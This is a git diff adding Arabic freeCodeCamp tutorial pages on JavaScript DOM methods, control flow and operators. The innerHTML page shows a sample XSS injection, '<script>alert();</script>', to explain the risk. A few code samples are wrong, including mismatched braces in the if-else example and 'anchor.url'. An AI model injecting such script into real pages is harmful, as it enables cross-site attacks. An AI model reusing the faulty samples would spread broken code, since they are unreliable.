+ `document.getElementById("demo"); // Returns the element with id "demo" containing 'First' 
+` 
+
+#### معلومات اكثر:
+
+[document.getElementById ()](https://developer.mozilla.org/en-US/docs/Web/API/Document/getElementById)
+
+#### حلول بديلة:
+
+هناك بديل شائع الاستخدام لـ `document.getElementById` يستخدم محدد jQuery الذي تقرأه عن المزيد [هنا](https://github.com/freeCodeCamp/guides/tree/master/src/pages/jquery) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/html-dom-innerhtml-property/index.md b/client/src/guide/arabic/javascript/html-dom-innerhtml-property/index.md
new file mode 100644
index 0000000000..98d4c5cc9d
--- /dev/null
+++ b/client/src/guide/arabic/javascript/html-dom-innerhtml-property/index.md
@@ -0,0 +1,54 @@
+---
+title: HTML Dom Innerhtml Property
+localeTitle: خاصية HTML Dom Innerhtml
+---
+## خاصية HTML Dom Innerhtml
+
+تقوم `innerHTML` prop بإرجاع محتوى HTML داخل عنصر محدد وتتيح لك أيضًا تحديد محتوى HTML جديد.
+
+**_الحصول على عنصر المحتوى_**
+
+ `
+<div id="demo"> 
+  <p>Demo</p> 
+ </div> 
+` 
+
+ `var element = document.getElementById("demo"); 
+ console.log(element.innerHTML) //logs <p>Demo</p> 
+` 
+
+**_محتوى مجموعة العنصر_**
+
+ `
+<div id="demo"></div> 
+` 
+
+ `var element = document.getElementById("demo"); 
+ element.innerHTML = "<div>Demo</div>"; 
+` 
+
+سوف يكون مثل HTML الآن
+
+ `
+<div id="demo"> 
+  <div>Demo</div> 
+ </div> 
+` 
+
+**_اعتبارات أمنية_**
+
+يجب أن تأتي القيمة التي تم تعيينها على `innerHTML` من مصادر موثوقة ، بما أن جافا سكريبت ستضع أي شيء داخل هذا العنصر وسيتم تشغيله على هيئة HTML عادي.
+
+مثال:
+
+سيؤدي تعيين قيمة " `<script>alert();</script>` " إلى تشغيل وظيفة "alert ()" في Javascript:
+
+ `var element = document.getElementById("demo"); 
+ 
+ element.innerHTML = "<script>alert();</script>"; 
+` 
+
+يسمى هذا النوع من الهجوم [Scripting عبر الموقع أو XSS باختصار](https://en.wikipedia.org/wiki/Cross-site_scripting) .
+
+هذه هي واحدة من الطرق الأكثر شيوعا لارتكاب هجوم XSS. إذا كنت تريد معرفة المزيد من المعلومات وتعلّم كيفية الدفاع عنها ، [فراجع هذا المصدر](https://xss-game.appspot.com/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/html-dom-queryselector/index.md b/client/src/guide/arabic/javascript/html-dom-queryselector/index.md
new file mode 100644
index 0000000000..8e2343f5bf
--- /dev/null
+++ b/client/src/guide/arabic/javascript/html-dom-queryselector/index.md
@@ -0,0 +1,34 @@
+---
+title: HTML DOM querySelector()
+localeTitle: HTML DOM querySelector ()
+---
+إرجاع `querySelector()` أسلوب المستند `first` العنصر ضمن المستند الذي يطابق المحدد المحدد أو مجموعة من المحددات. إذا لم يتم العثور على تطابقات ، يتم إرجاع null.
+
+**محتوى HTML:**
+
+ `
+<div id="id-example"></div> 
+ <div class="class-example"></div> 
+ <a>element-example</a> 
+` 
+
+**محتوى جافا سكريبت:**
+
+ `document.querySelector("#id-example"); // Returns the element with id "id-example" 
+ document.querySelector(".class-example"); // Returns the element with class "class-example" 
+ document.querySelector("a"); // Returns the "a" element 
+` 
+
+ملاحظة `querySelector()` إرجاع عنصر المطابقة الأول ، لإرجاع كافة التطابقات ، استخدم أسلوب querySelectorAll () بدلاً من ذلك.
+
+ `
+<div id="example">First</div> 
+ <div id="example">Second</div> 
+` 
+
+ `document.querySelector("#example"); // Returns only the element containing 'First' 
+` 
+
+#### معلومات اكثر:
+
+[MDN - document.querySelector ()](https://developer.mozilla.org/en-US/docs/Web/API/Document/querySelector)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/html-dom/index.md b/client/src/guide/arabic/javascript/html-dom/index.md
new file mode 100644
index 0000000000..33f095f860
--- /dev/null
+++ b/client/src/guide/arabic/javascript/html-dom/index.md
@@ -0,0 +1,43 @@
+---
+title: HTML Dom
+localeTitle: HTML دوم
+---
+## HTML دوم
+
+باستخدام HTML DOM ، تستطيع JavaScript الوصول إلى جميع عناصر مستند HTML وتغييرها.
+
+عندما يتم تحميل صفحة ويب ، يقوم المتصفح بإنشاء **D** ocument **O** bject **M** odel للصفحة.
+
+يتم إنشاء نموذج HTML DOM كشجرة من الكائنات:
+
+كل عنصر في DOM يسمى أيضًا عقدة.
+
+ `
+<html> 
+ <head> 
+  <title> My title </title> 
+ </head> 
+ <body> 
+  <a href="#">My Link</a> 
+  <h1> My header </h1> 
+ </body> 
+ </html> 
+` 
+
+يكون DOM الخاص بـ HTML أعلاه على النحو التالي:
+
+![شجرة DOM](https://www.w3schools.com/js/pic_htmltree.gif)
+
+باستخدام نموذج الكائن ، تحصل جافا سكريبت على جميع الطاقة اللازمة لإنشاء HTML ديناميكي:
+
+*   تستطيع JavaScript تغيير جميع عناصر HTML في الصفحة
+*   يمكن لـ JavaScript تغيير جميع سمات HTML في الصفحة
+*   تستطيع جافا سكريبت تغيير جميع أنماط CSS في الصفحة
+*   يمكن لجافا سكريبت إزالة عناصر وسمات HTML الموجودة
+*   يمكن أن تضيف JavaScript عناصر وسمات HTML جديدة
+*   يمكن أن تتفاعل JavaScript مع جميع أحداث HTML الموجودة في الصفحة
+*   تستطيع JavaScript إنشاء أحداث HTML جديدة في الصفحة
+
+#### معلومات اكثر:
+
+[W3C - HTML DOM](https://www.w3schools.com/js/js_htmldom.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/if-else-statement/index.md b/client/src/guide/arabic/javascript/if-else-statement/index.md
new file mode 100644
index 0000000000..8263065774
--- /dev/null
+++ b/client/src/guide/arabic/javascript/if-else-statement/index.md
@@ -0,0 +1,67 @@
+---
+title: If-Else Statement
+localeTitle: If-Else Statement
+---
+## المقدمة
+
+بيان `if` ينفذ عبارة إذا كان الشرط المحدد هو `true` . إذا كان الشرط `false` ، فيمكن تنفيذ عبارة أخرى باستخدام العبارة `else` .
+
+**ملاحظة:** العبارة `else` اختيارية.
+
+ `if (condition) 
+    /* do something */ 
+ else 
+    /* do something else */ 
+` 
+
+يمكن أن تكون متسلسلة متعددة `if...else` بيانات أخرى لإنشاء شرط `else if` . هذا يحدد شرط جديد لاختبار ويمكن تكرار لاختبار شروط متعددة ، والتحقق حتى يتم تقديم بيان صحيح لتنفيذ.
+
+ `if (condition1) 
+    /* do something */ 
+ else if (condition2) 
+    /* do something else */ 
+ else if (condition3) 
+    /* do something else */ 
+ else 
+    /* final statement */ 
+` 
+
+**ملاحظة:** إذا كنت ترغب في تنفيذ البيان أكثر من واحد في `if` ، `else` أو `else if` مطلوبة جزئيا، الأقواس المجعدة حول البيانات:
+
+ `if (condition) { 
+    /* do */ 
+    /* something */ 
+    /* with multiple statements */ 
+ } else { 
+    /* do something */ 
+    /* else */ 
+ } 
+` 
+
+[وصلة MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/if…else) | [رابط MSDN](https://msdn.microsoft.com/en-us/library/85yyde5c.aspx)
+
+## أمثلة
+
+**باستخدام** `if...else` :
+
+ `    // If x=5 z=7 and q=42. If x is not 5 then z=19. 
+    if (x == 5) { 
+      z = 7; 
+      q = 42 
+    else 
+      z = 19; 
+` 
+
+**استخدام** `else if` :
+
+ `if (x < 10) 
+    return "Small number"; 
+ else if (x < 50) 
+    return "Medium number"; 
+ else if (x < 100) 
+    return "Large number"; 
+ else { 
+    flag = 1; 
+    return "Invalid number"; 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/immediately-invoked-functions-expressions/index.md b/client/src/guide/arabic/javascript/immediately-invoked-functions-expressions/index.md
new file mode 100644
index 0000000000..a2f9a8e26d
--- /dev/null
+++ b/client/src/guide/arabic/javascript/immediately-invoked-functions-expressions/index.md
@@ -0,0 +1,55 @@
+---
+title: Immediately Invoked Functions Expressions(IIFEs)
+localeTitle: تعبيرات الوظائف المستحثة على الفور (IIFEs)
+---
+## بيان الوظيفة
+
+إن الدالة التي تم إنشاؤها باستخدام تعريف الدالة هي كائن دالة ولها كل خصائص وأساليب وسلوك كائنات الدالة. مثال:
+
+ `  function statement(item){ 
+    console.log('Function statement example '+ item); 
+  } 
+` 
+
+## وظيفة التعبير
+
+يشبه تعبير الدالة الدالة الدالة باستثناء أنه يمكن حذف اسم الدالة لإنشاء وظائف مجهولة. مثال:
+
+ `  var expression = function (item){ 
+    console.log('Function expression example '+ item); 
+  } 
+` 
+
+## تعبيرات على الفور استدعاء التعابير
+
+بمجرد إنشاء الدالة ، فإنها تستدعي أنها لا تحتاج إلى الاستدعاء صراحة. في المثال أدناه ، سوف يقوم iife المتغير بتخزين سلسلة يتم إرجاعها بواسطة تنفيذ الدالة.
+
+ `  var iife = function (){ 
+    return 'Immediately Invoked Function Expressions(IIFEs) example '; 
+  }(); 
+  console.log(iife); // 'Immediately Invoked Function Expressions(IIFEs) example ' 
+` 
+
+يجب أن ينتهي البيان قبل IIFE دائمًا بـ: أو سوف يرمي خطأ.
+
+**مثال سيء** :
+
+ `var x = 2 //no semicolon, will throw error 
+ (function(y){ 
+  return x; 
+ })(x); //Uncaught TypeError: 2 is not a function 
+` 
+
+## لماذا استخدام تعبيرات الاستدلال على الفور؟
+
+ `  (function(value){ 
+    var greet = 'Hello'; 
+    console.log(greet+ ' ' + value); 
+  })('IIFEs'); 
+` 
+
+في المثال أعلاه عند تنفيذ مشغل javascript فوق الكود ، سيؤدي إلى إنشاء سياق تنفيذ عمومي عندما يرى الكود وإنشاء كائن دالة في الذاكرة لـ IIFE. وعندما تصل إلى السطر `46` بسبب الوظيفة التي يتم استدعاؤها ، يتم إنشاء سياق تنفيذ جديد على الطاير ، وبذلك ينتقل المتغير المتحمس إلى سياق تنفيذ الوظيفة هذا وليس في السياق العالمي ، وهذا ما يجعله فريدًا. `This ensures that code inside IIFE does not interfere with other code or be interfered by another code` ومن ثم تكون الشفرة آمنة.
+
+#### معلومات اكثر
+
+[تعبير الدالة المستدعى على الفور على ويكيبيديا](https://en.wikipedia.org/wiki/Immediately-invoked_function_expression) [ما الذي تفعله الفاصلة المنقوطة الرائدة في مكتبات JavaScript؟](https://stackoverflow.com/questions/1873983/what-does-the-leading-semicolon-in-javascript-libraries-do)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/immutable-types/index.md b/client/src/guide/arabic/javascript/immutable-types/index.md
new file mode 100644
index 0000000000..39c1aca15b
--- /dev/null
+++ b/client/src/guide/arabic/javascript/immutable-types/index.md
@@ -0,0 +1,21 @@
+---
+title: Immutable Types
+localeTitle: أنواع غير قابلة للتغيير
+---
+> غير قابل للتغيير يعني أنه لا يمكنك تغييره.
+
+تحتوي Javascript على العديد من الأنواع غير القابلة للتغيير مثل النوع الأولي من `string` . جرب هذا في وحدة التحكم الخاصة بك.
+
+ `s = "red"; 
+ console.log(s[1]); //→ "e" 
+ s[1] = "x"; 
+ console.log(s) //→ "red" 
+` 
+
+و `s` لم تتغير! وات !
+
+## تفاصيل
+
+بعض أساليب السلسلة مثل `String.replace` بإرجاع سلسلة جديدة.
+
+يحتوي JavaScript على نوع بيانات معقد واحد ، ونوع بيانات كائن ، ولديه خمسة أنواع بيانات بسيطة: رقم ، سلسلة ، منطقية ، غير محددة ، و Null. هذه أنواع البيانات البسيطة (البدائية) غير قابلة للتغيير (لا يمكن تغييرها) ، في حين أن الكائنات قابلة للتغيير (يمكن تغييرها).
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/index.md b/client/src/guide/arabic/javascript/index.md
new file mode 100644
index 0000000000..9e447f1d7b
--- /dev/null
+++ b/client/src/guide/arabic/javascript/index.md
@@ -0,0 +1,35 @@
+---
+title: JavaScript
+localeTitle: جافا سكريبت
+---
+## جافا سكريبت
+
+JavaScript هي لغة البرمجة النصية الأكثر استخدامًا على الأرض. ويحتوي على أكبر نظام بيئي للمكتبات من أي لغة برمجة.
+
+جافا سكريبت هي اللغة الأساسية للويب ، ولغة البرمجة الوحيدة التي يمكن تشغيلها في جميع متصفحات الويب الرئيسية.
+
+والجدير بالذكر أن جافا سكريبت لا علاقة لها بجافا. [JavaScript: لغة البرمجة الأكثر إساءة فهم في العالم](http://www.crockford.com/javascript/javascript.html)
+
+الاسم الرسمي لجافا سكريبت هو ECMAScript المحدد في المواصفة القياسية [ECMA-262](https://www.ecma-international.org/publications/standards/Ecma-262.htm)
+
+إذا كنت تريد معرفة المزيد عن لغة جافا سكريبت ، ولماذا تستخدم على نطاق واسع ، اقرأ مقالة كوينسي لارسون - [أي لغة برمجة يجب أن أتعلمها أولاً؟](https://medium.freecodecamp.org/what-programming-language-should-i-learn-first-%CA%87d%C4%B1%C9%B9%C9%94s%C9%90%CA%8C%C9%90%C9%BE-%C9%B9%C7%9D%CA%8Dsu%C9%90-19a33b0a467d) - أو شاهد هذا [الفيديو الملهم من Preethi Kasireddy](https://www.youtube.com/watch?v=VqiEhZYmvKk) .
+
+## محركات جافا سكريبت المستقلة
+
+Mozilla's SpiderMonkey ، أول محرك جافا سكريبت مكتوب على الإطلاق ، مستخدم حاليًا في Mozilla Firefox. V8 ، محرك جافا سكريبت من Google ، المستخدم في Google Chrome.
+
+Google Apps Script ، وهو مترجم يستند إلى السحاب / الخادم يوفر تحكمًا "شبيهًا بالماكرو" برمجيًا في خدمات ومستندات Google Apps.
+
+Node.js ، مبنية على قمة V8 ، منصة تعمل على تمكين التطبيقات من جانب الخادم ليتم كتابتها في JavaScript.
+
+يتضمن Windows JScript ، متغير JavaScript في Windows Script Host.
+
+تم تطوير Chakra ، شوكة Jscript ، بواسطة Microsoft واستخدامها في مستعرض Edge الخاص بهم.
+
+تقدم Mozilla أيضًا Rhino ، وهو عبارة عن تطبيق جافا سكريبت مبني بلغة Java ، وعادة ما يتم تضمينه في تطبيقات Java لتوفير البرمجة النصية للمستخدمين النهائيين.
+
+يقوم WebKit (باستثناء مشروع Chromium) بتنفيذ محرك JavaScriptCore.
+
+## أطر JavaScript
+
+أكثر الأطر استخدامًا لجافا سكريبت هي React JS، Angular JS، Create JS، jQuery، nodeJS etc. لمزيد من التفاصيل اتبع هذا [الرابط](https://javascriptreport.com/the-ultimate-guide-to-javascript-frameworks/) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/location-object/index.md b/client/src/guide/arabic/javascript/location-object/index.md
new file mode 100644
index 0000000000..ec2303b705
--- /dev/null
+++ b/client/src/guide/arabic/javascript/location-object/index.md
@@ -0,0 +1,59 @@
+---
+title: Location Object
+localeTitle: كائن الموقع
+---
+## كائن الموقع
+
+يوفر الكائن "الموقع" واجهة برمجة التطبيقات (واجهة برمجة التطبيقات) التي تمكن من استرداد عنوان URL أو إعداد عنوان URL أو الوصول إلى أجزاء من عنوان URL. يتم تنفيذه بالفعل لك بشكل افتراضي على كائنات النافذة والمستند. ملاحظة: لا يوجد معيار عام ينطبق على كائن الموقع ، ولكن جميع المتصفحات الرئيسية تدعمه.
+
+### خصائص كائن الموقع
+
+| الملكية الوصف | | ---------- | -------------------------------------- ------------------- | | التجزئة يعين أو إرجاع جزء الربط (#) من عنوان URL | | مضيف | يعين أو إرجاع اسم المضيف ورقم المنفذ الخاص بعنوان URL | | اسم المضيف يعين أو إرجاع اسم المضيف لعنوان URL | | href | يعين أو يرجع عنوان URL بالكامل | | أصل | لعرض البروتوكول واسم المضيف ورقم المنفذ الخاص بعنوان URL | | اسم المسار يعين أو إرجاع اسم مسار URL | ميناء يعين أو إرجاع رقم منفذ URL | بروتوكول | يعين أو يعيد بروتوكول عنوان URL | البحث | يعين أو إرجاع جزء querystring من URL
+
+### طرق كائن الموقع
+
+| الطريقة | الوصف | | ----------- | ------------------------------------- --------- | | تعيين () | يحمّل مستندًا جديدًا | إعادة تحميل () | يعيد تحميل الوثيقة الحالية | | استبدل () | يستبدل الوثيقة الحالية بآخر جديد
+
+### أمثلة
+
+يمكن الوصول إلى كائنات الموقع من خلال:
+
+ `    console.log(window.location); 
+    // > https://guide.freecodecamp.org/javascript/location-object 
+    console.log(document.location); 
+    // > https://guide.freecodecamp.org/javascript/location-object 
+` 
+
+يمكنك أيضًا تعيين كائن الموقع لعنصر HTML `<a>` أو عنصر HTML `<area>` برمجيًا مع JavaScript.
+
+ `    var anchor = document.createElement('a'); 
+    anchor.url = "https://guide.freecodecamp.org/javascript/location-object"; 
+` 
+
+بعد أن يكون لديك كائن به مجموعة عناوين URL (بما في ذلك النافذة) ، تتيح لك واجهة برمجة التطبيقات للموقع الوصول إلى أجزاء من عنوان URL.
+
+ `    console.log(anchor.protocol); 
+    // > https: 
+    console.log(anchor.host); 
+    // > guide.freecodecamp.org (includes port number if applicable. Example: guide.freecodecamp.org:8080) 
+` 
+
+خصائص أخرى من "الموقع" يمكنك الوصول إليها هي:
+
+*   `anchor.hostname` - _guide.freecodecamp.org_
+*   `anchor.port` - _8080_
+*   `anchor.pathname` - _/ javascript / location-object_
+*   `anchor.origin` - _https://developer.mozilla.org_
+
+إذا كان عنوان URL يحتوي على معلمات أو عمليات تجزئة ، فيمكنك الوصول إليها مثل:
+
+ `    // If your URL is https://guide.freecodecamp.org/javascript?param=location#other-properties 
+    console.log(window.location.search); 
+    // > "?param=location" 
+    console.log(document.location.hash); 
+    // > "#other-properties" 
+` 
+
+#### معلومات اكثر:
+
+[W3C - كائن الموقع](https://www.w3schools.com/jsref/obj_location.asp) [موقعك](https://developer.mozilla.org/en-US/docs/Web/API/Location)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/location-reload-method/index.md b/client/src/guide/arabic/javascript/location-reload-method/index.md
new file mode 100644
index 0000000000..a3cdf21fd3
--- /dev/null
+++ b/client/src/guide/arabic/javascript/location-reload-method/index.md
@@ -0,0 +1,62 @@
+---
+title: Location Reload Method
+localeTitle: طريقة تحديث الموقع
+---
+## طريقة تحديث الموقع
+
+يوفر أسلوب JavaScript `Location.reload()` وسائل لإعادة تحميل الصفحة في عنوان URL الحالي.
+
+بناء الجملة هو ما يلي:
+
+`object.reload(forcedReload);` حيث تعد `forceReload` معلمة اختيارية.
+
+لإعادة تحميل الصفحة ببساطة ، يمكنك إدخال `window.location` ككائن.
+
+المعلمات الاختيارية التي يتم `force reload` هي قيمة منطقية ، والتي يتم تعيينها على:
+
+*   `True` يعيد تحميل الصفحة من الخادم (على سبيل المثال لا يخزن البيانات المخزنة مؤقتًا بواسطة المتصفح):
+
+ `window.location.reload(true); 
+` 
+
+*   `False` بإعادة تحميل الصفحة باستخدام إصدار الصفحة المخزنة مؤقتًا بواسطة المستعرض.
+
+ `window.location.reload(false); 
+` 
+
+`False` هي المعلمة الافتراضية ، لذلك إذا تركت فارغة ، فإن `object.reload()` يعيد تحميل الصفحة باستخدام بيانات broswer المخبأة ، أي أنه مماثل لاستخدام الطريقة كـ `object.reload(false)` .
+
+لإنشاء تأثير "تحديث" - توفير - المستعرض من قبل المستعرض ، قد تحتاج إلى إنشاء زر HTML والقيام بأي مما يلي:
+
+*   إرفاق `Location.reload()` بعلامة زر HTML ، كما يلي:
+
+ `<input type="button" value="Refresh Button" onClick="window.location.reload()"> 
+` 
+
+*   تعيين حدث عند النقر على الزر باستخدام الوظيفة التي تستخدم الطريقة ، حيث يبدو الزر مشابهاً
+
+ `<button type="button" onClick="reloadThePage()">Refresh!</button> 
+` 
+
+ `<script> 
+ function reloadThePage(){ 
+    window.location.reload(); 
+ } 
+ </script> 
+` 
+
+### مثال:
+
+ `// Reload the current resources from the server 
+ window.location.reload(true); 
+ 
+ // Reload the current resources from the browser's cache 
+ window.location.reload(); 
+` 
+
+سيؤدي هذا إلى إعادة تحميل الصفحة على عنوان URL الحالي من الخادم.
+
+#### معلومات اكثر:
+
+*   [MDN](https://developer.mozilla.org/docs/Web/API/Location/reload)
+*   [مدارس W3](https://www.w3schools.com/jsref/met_loc_reload.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/logical-operators/index.md b/client/src/guide/arabic/javascript/logical-operators/index.md
new file mode 100644
index 0000000000..acdafb4cdc
--- /dev/null
+++ b/client/src/guide/arabic/javascript/logical-operators/index.md
@@ -0,0 +1,92 @@
+---
+title: Logical Operators
+localeTitle: العوامل المنطقية
+---
+# العوامل المنطقية
+
+تقارن المعاملات المنطقية القيم المنطقية وترجع استجابة منطقية. هناك نوعان من عوامل التشغيل المنطقية - منطقي AND و OR المنطقية. غالبًا ما يتم كتابة هؤلاء المشغلين كـ && لـ AND و || لـ OR.
+
+#### منطقي و (&&)
+
+عامل التشغيل AND يقارن بين تعبيرين. إذا كان التقييم الأول هو ["truthy"](https://developer.mozilla.org/en-US/docs/Glossary/Truthy) ، [فستعرض](https://developer.mozilla.org/en-US/docs/Glossary/Truthy) العبارة قيمة التعبير الثاني. إذا كان التقييم الأول هو ["falsy"](https://developer.mozilla.org/en-US/docs/Glossary/Falsy) ، [فستعرض](https://developer.mozilla.org/en-US/docs/Glossary/Falsy) العبارة قيمة التعبير الأول.
+
+عند تضمين قيم منطقية فقط (سواء كانت `true` أو `false` ) ، فإنها ترجع true فقط إذا كان كلا التعبيرين صحيحين. إذا كان تعبير واحد أو كلاهما غير صحيح ، فستظهر العبارة بالكامل false.
+
+ `true && true //returns  the second value, true 
+ true && false //returns the second value, false 
+ false && false //returns the first value, false 
+ 123 && 'abc' // returns the second value, 'abc' 
+ 'abc' && null //returns the second value, null 
+ undefined && 'abc' //returns the first value, undefined 
+ 0 && false //returns the first value, 0 
+` 
+
+#### منطقية أو (||
+
+عامل التشغيل OR يقارن بين تعبيرين. إذا كان التقييم الأول هو "falsy" ، فستعرض العبارة قيمة التعبير الثاني الثاني. إذا كان التقييم الأول هو "صوابي" ، فستعرض العبارة قيمة التعبير الأول.
+
+عند تضمين قيم منطقية فقط (سواء كانت `true` أو `false` ) ، فإنها ترجع true إذا كان التعبير صحيحًا. يمكن أن يكون كلا التعبيرين صحيحًا ، لكن هناك حاجة إلى تعبير واحد فقط للحصول على النتيجة الحقيقية.
+
+ `true || true //returns the first value, true 
+ true || false //returns the first value, true 
+ false || false //returns the second value, false 
+ 123 || 'abc' // returns the first value, 123 
+ 'abc' || null //returns the first value, 'abc' 
+ undefined || 'abc' //returns the second value, 'abc' 
+ 0 || false //returns the second value, false 
+` 
+
+#### تقييم دائرة قصر
+
+&& و || تتصرف كمشغلي ماس كهربائى.
+
+في حالة AND المنطقية ، إذا كان المعامل الأول يرجع خطأ ، لا يتم تقييم المعامل الثاني ويتم إرجاع المعامل الأول.
+
+في حالة OR المنطقية ، إذا كانت القيمة الأولى ترجع true ، فلن يتم تقييم القيمة الثانية أبداً ويتم إرجاع المعامل الأول.
+
+#### منطقي NOT (!)
+
+لا يقوم المشغل NOT بعمل أي مقارنة مثل مشغلي AND و OR.More يتم تشغيله فقط على 1 معامل.
+
+و "!" (علامة تعجب) يستخدم لتمثيل عامل التشغيل NOT.
+
+###### استخدام المشغلين NOT
+
+1.  تحويل التعبير إلى منطقي.
+2.  إرجاع معكوس القيمة المنطقية التي تم الحصول عليها في الخطوة الأخيرة.
+
+ `var spam = 'rinki'; //spam may be equal to any non empty string 
+ var booSpam = !spam; 
+ /*returns false 
+  since when a non-empty string when converted to boolean returns true 
+  inverse of which is evaluated to false. 
+ */ 
+ 
+ var spam2 = ''; //spam2 here is equal to empty string 
+ var booSpam2 = !spam2; 
+ /*returns true 
+  since when a empty string when converted to boolean returns false 
+  inverse of which is evaluated to true. 
+ */ 
+` 
+
+#### نصائح:
+
+كلا المشغلين المنطقيين سيعودون قيمة آخر تعبير تم تقييمه. فمثلا:
+
+ `"cat" && "dog" //returns "dog" 
+ "cat" && false //returns false 
+ 0 && "cat"  //returns 0 (which is a falsy value) 
+ 
+ "cat" || "dog" //returns "cat" 
+ "cat" || false //returns "cat" 
+ 0 || "cat" //returns "cat" 
+` 
+
+لاحظ أن where `&&` تُرجع القيمة الأولى ، `||` يعيد القيمة الثانية والعكس صحيح.
+
+#### معلومات اكثر:
+
+*   [جدول جافا سكريبت الحقيقة](https://guide.freecodecamp.org/javascript/truth-table)
+    
+*   [MDN](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Operators/Logical_Operators)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/loops/break-statements/index.md b/client/src/guide/arabic/javascript/loops/break-statements/index.md
new file mode 100644
index 0000000000..c90abb7bf8
--- /dev/null
+++ b/client/src/guide/arabic/javascript/loops/break-statements/index.md
@@ -0,0 +1,50 @@
+---
+title: Break Statement
+localeTitle: بيان استراحة
+---
+## المقدمة
+
+ينهي بيان **الإيقاف** العبارة الحالية أو `switch` أو `label` البيان وينقل التحكم في البرنامج إلى البيان التالي للبيان المنتهي.
+
+ `break; 
+` 
+
+إذا تم استخدام عبارة **الفاصل** في عبارة المسمى ، يكون بناء الجملة كالتالي:
+
+ `break labelName; 
+` 
+
+## أمثلة
+
+تحتوي الدالة التالية على جملة **فاصل** تقوم بإنهاء حلقة `while` عندما تكون **i** 3 ، ثم تقوم بإرجاع القيمة **3 \* x** .
+
+ `function testBreak(x) { 
+  var i = 0; 
+ 
+  while (i < 6) { 
+    if (i == 3) { 
+      break; 
+    } 
+    i += 1; 
+  } 
+ 
+  return i * x; 
+ } 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/C7VM/0)
+
+في المثال التالي ، يتم إعداد العداد العد من 1 إلى 99؛ ومع ذلك ، إنهاء بيان **الفاصل** حلقة بعد 14 التهم.
+
+ `for (var i = 1; i < 100; i++) { 
+  if (i == 15) { 
+    break; 
+  } 
+ } 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/C7VO/0)
+
+## موارد آخرى:
+
+[وصلة MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/break) | [رابط MSDN](https://msdn.microsoft.com/en-us/library/3fhdxafb.aspx)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/loops/continue-statement/index.md b/client/src/guide/arabic/javascript/loops/continue-statement/index.md
new file mode 100644
index 0000000000..a96b7b36f8
--- /dev/null
+++ b/client/src/guide/arabic/javascript/loops/continue-statement/index.md
@@ -0,0 +1,58 @@
+---
+title: Continue Statement
+localeTitle: متابعة البيان
+---
+## المقدمة
+
+**ويواصل** البيان إنهاء تنفيذ ما ورد في التكرار الحالي للحلقة الحالية أو المسمى، ويستمر تنفيذ حلقة مع التكرار التالي.
+
+ `continue; 
+` 
+
+إذا تم استخدام العبارة **continue** في عبارة مسماة ، يكون بناء الجملة كما يلي:
+
+ `continue labelName; 
+` 
+
+على النقيض من بيان **الاستراحة** ، لا يؤدي **الاستمرار إلى** إنهاء تنفيذ الحلقة بالكامل ؛ في حين أن:
+
+*   في حلقة `while` ، ينتقل إلى الشرط.
+*   في حلقة `for` ، ينتقل إلى تعبير التحديث.
+
+## أمثلة
+
+يعرض المثال التالي حلقة `while` تحتوي على عبارة **متابعة** تنفذ عندما تكون قيمة **i** هي 3. وهكذا ، تأخذ **n** القيم 1 و 3 و 7 و 12.
+
+ `var i = 0; 
+ var n = 0; 
+ 
+ while (i < 5) { 
+  i++; 
+ 
+  if (i === 3) { 
+    continue; 
+  } 
+ 
+  n += i; 
+  console.log (n); 
+ } 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/C7hx/0)
+
+في المثال التالي، وبالتكرار حلقة من 1 إلى 9. التصريحات بين **تستمر** ونهاية `for` يتم تخطي الجسم بسبب استخدام الإفادة **continue** جنبا إلى جنب مع التعبير `(i < 5)` .
+
+ `for (var i = 1; i < 10; i++) { 
+    if (i < 5) { 
+        continue; 
+    } 
+    console.log (i); 
+ } 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/C7hs/0)
+
+## موارد آخرى
+
+*   [وصلة MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/continue)
+*   [رابط MSDN](https://msdn.microsoft.com/en-us/library/8de3fkc8.aspx)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/loops/do-while-loop/index.md b/client/src/guide/arabic/javascript/loops/do-while-loop/index.md
new file mode 100644
index 0000000000..8bbf477aa5
--- /dev/null
+++ b/client/src/guide/arabic/javascript/loops/do-while-loop/index.md
@@ -0,0 +1,38 @@
+---
+title: Do...While Loop
+localeTitle: هل ... في حين حلقة
+---
+و `do...while` يرتبط ارتباطا وثيقا حلقة [`while`](http://forum.freecodecamp.com/t/javascript-while-loop/14668) حلقة. في حلقة "القيام أثناء" ، يتم التحقق من الشرط في نهاية الحلقة.
+
+إليك **بناء الجملة** لـ `do...while` التكرار:
+
+## بناء الجملة:
+
+ ` do { 
+ 
+   *Statement(s);* 
+ 
+ } while (*condition*); 
+` 
+
+**statement (s):** بيان يتم تنفيذه **مرة واحدة على الأقل** قبل الشرط أو يتم تقييم Boolean expression ويتم إعادة تنفيذه في كل مرة يتم فيها تقييم الشرط إلى true.
+
+**الشرط:** هنا ، الشرط هو تعبير منطقي . إذا تم تقييم التعبير المنطقي إلى true ، فسيتم تنفيذ العبارة مرة أخرى. عندما يتم تقييم التعبير المنطقي إلى false ، تنتهي الحلقات.
+
+## مثال:
+
+ `var i = 0; 
+ do { 
+  i = i + 1; 
+  console.log(i); 
+ } while (i < 5); 
+ 
+ Output: 
+ 1 
+ 2 
+ 3 
+ 4 
+ 5 
+` 
+
